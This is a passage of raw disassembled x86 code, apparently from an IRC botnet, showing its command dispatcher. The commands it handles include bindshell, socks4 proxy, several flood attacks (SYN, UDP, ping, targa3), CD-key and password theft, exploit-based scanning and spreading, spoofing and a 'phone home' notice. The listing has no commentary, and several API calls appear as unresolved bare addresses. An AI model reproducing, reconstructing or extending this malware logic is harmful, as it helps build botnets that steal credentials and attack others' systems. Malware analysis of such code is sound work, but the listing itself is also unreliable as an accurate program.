eax, [ebp+var_4AF0] push offset asc_42D0F0 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42D0F0 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CD30 loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42CD08 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42CCEC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42CCD0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42CCBC push offset dword_42CCB0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42CC90 push offset dword_42CC80 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42CC74 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42CC68 push offset dword_42CC5C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42CC48 push offset dword_42CC3C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42CC20 push offset dword_42CC10 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42CBF4 push offset dword_42CBE4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42CBCC push offset dword_42CBC0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42CC68 push offset dword_42CC5C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42CC48 push offset dword_42CC3C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42CBA8 push offset dword_42CB9C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42CB90 push offset dword_42CB84 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42CBF4 push offset dword_42CBE4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42CBCC push offset dword_42CBC0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42CB74 push offset dword_42CB64 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42CB54 push offset dword_42CB44 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42CC20 push offset dword_42CC10 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42CB10 push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42CB74 push offset dword_42CB64 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42CB54 push offset dword_42CB44 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42CBA8 push offset dword_42CB9C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42CB90 push offset dword_42CB84 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42CAC8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42CA78 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42CA54 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42CA34 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C970 jnz short loc_403191 mov eax, offset unk_42C948 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C888 push offset dword_42C87C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C878 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C864 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C830 call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C7FC push eax mov dword_4CEDD8, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C754 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsn445 ; "asn445" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C6E0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2680000h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 268082Fh push eax push offset unk_42C6A4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_431CAA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431CAA jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42C664 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431AC8, ebx mov [ebp+var_734], 4Bh mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431AC8 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431AC8[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CB5C8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB6B0 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D7D8 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C5E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2680000h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 268082Fh push eax lea eax, [ebp+var_2C4] push offset unk_42C5A8 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42C570 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42C550 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2670000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42C51C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2680000h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 268082Fh push eax push offset unk_42C4E0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp 